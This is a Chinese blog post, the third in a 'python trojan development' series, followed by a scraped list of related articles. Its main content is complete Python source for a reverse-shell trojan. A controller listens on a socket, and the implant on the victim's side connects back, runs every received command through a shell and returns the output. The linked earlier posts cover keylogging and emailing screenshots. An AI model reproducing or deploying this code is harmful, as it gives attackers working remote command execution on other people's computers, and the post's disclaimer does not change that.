前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写

有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事

因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷

首先当然是控制端

 from socket import *
 import os
 import time
 import subprocess

 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024
 tcpSock = socket(AF_INET, SOCK_STREAM)
 tcpSock.bind(addr)
 tcpSock.listen(5)

 while True:
     conn,addr=tcpSock.accept()
     while True:
         data = input("input the command:\n")
         conn.send(bytes(data,encoding="utf-8"))
         getdata = str(conn.recv(buff),encoding="utf-8")
         if not getdata:
             break
         print(getdata)
     tcpSock.close()

再就是被控端

 import socket
 import os
 import subprocess
 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024

 cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 cli.connect(addr)

 while True:
     data = str(cli.recv(buff),encoding="utf-8")
     if not data:
         break
     print(data)
     f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
     redata = bytes(str(f.read()),encoding="utf-8")
     cli.sendall(redata)
 cli.close()

python trojan development 3rd —— use python to creative a simple shell的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 1st —— use python to send mail and caputre the screen then combine them

    import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...

  3. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  4. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  5. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  6. python学习: 如何循序渐进学习Python语言

    大家都知道Python语言是一种新兴的编程语言.1989年,Python就由Guido van Rossum发明.Python一直发展态势很好. 原因有几点:1.跨平台性好.Linux.Windows ...

  7. [IT学习]Learn Python the Hard Way (Using Python 3)笨办法学Python3版本

    黑客余弦先生在知道创宇的知道创宇研发技能表v3.1中提到了入门Python的一本好书<Learn Python the Hard Way(英文版链接)>.其中的代码全部是2.7版本. 如果 ...

  8. 『无为则无心』Python基础 — 3、搭建Python开发环境

    目录 1.Python开发环境介绍 2.Python解释器的分类 3.下载Python解释器 4.安装Python解释器 5.Python解释器验证 1.Python开发环境介绍 所谓"工欲 ...

  9. 【python之路1】python安装与环境变量配置

    直接搜索 Python,进入官网,找到下载,根据个人电脑操作系统下载相应的软件.小编的是windows os .下载python-2.7.9.msi 安装包  双击安装程序,进入安装步骤.在安装过程中 ...

随机推荐

  1. 封装QtCore(在非Qt项目里使用QString,QJson,QFileInfo,QFile等类)

    单独封装QtCore 一直以来使用QT的特性使用惯了,很多东西QT都封装得很好.如果突然有一天,不使用QT开发了,是不是不习惯. 比如我们经常使用QString很多方法,string,wstring之 ...

  2. C#中的String.Format介绍

    关键字:C# string.format作者:txw1958原文:http://www.cnblogs.com/txw1958/archive/2012/11/15/csharp-string_for ...

  3. C#代码实现矢量画图

    原文:C#代码实现矢量画图 版权声明:本文为博主原创文章,转载请附上链接地址. https://blog.csdn.net/ld15102891672/article/details/80275969 ...

  4. WPF: Creation of Text Labels for 3D Scene

    原文:WPF: Creation of Text Labels for 3D Scene 转载:http://www.codeproject.com/KB/WPF/WPF_Text3D.aspx Do ...

  5. silverlight,WPF动画终极攻略之番外 3D切换导航篇(Blend 4开发)

    原文:silverlight,WPF动画终极攻略之番外 3D切换导航篇(Blend 4开发) 这篇介绍的是3D导航,点击图标,页面360°翻转的效果!有什么不足的欢迎大家指出来. 1.新建一个user ...

  6. 【多线程】python界面阻塞,白屏,not responding解决的简单例子

    x = 0 QWidget. self.thread = Worker() self.xLable = QLabel( self.spinBox = QSpinBox() self.spinBox.s ...

  7. EasyUI-DataGrid多线动态实现选择性合并

    jQuery EasyUI有一个非常易于使用的数据列表控件,这是DataGrid控制.某些背景json格式可以传递给在前景中显示的控制,很强大.只要有时需求须要这样即多行合并,如在列表中假设同样的部门 ...

  8. Xamarin简介

    简介 简单来说,Xamarin提供了使用C#完成iOS,Android和Windows Phone三个移动平台开发的可能性Xamarin包括Xamarin.Andriod.Xamarin.IOS.Xa ...

  9. WPF编游戏系列 之八 银行界面及金额校验

    原文:WPF编游戏系列 之八 银行界面及金额校验        在前面<WPF编游戏系列 之四 用户控件>一文中通过用户控件创建了"My Shop"中物品列表框.本篇继 ...

  10. 【Linux】samba服务

    samba是一个实现不同操作系统之间文件共享和打印机共享的一种SMB协议的免费软件. ①Samba软件包的安装 使用源安装,在终端中输入如下命令: #sudo apt-get install samb ...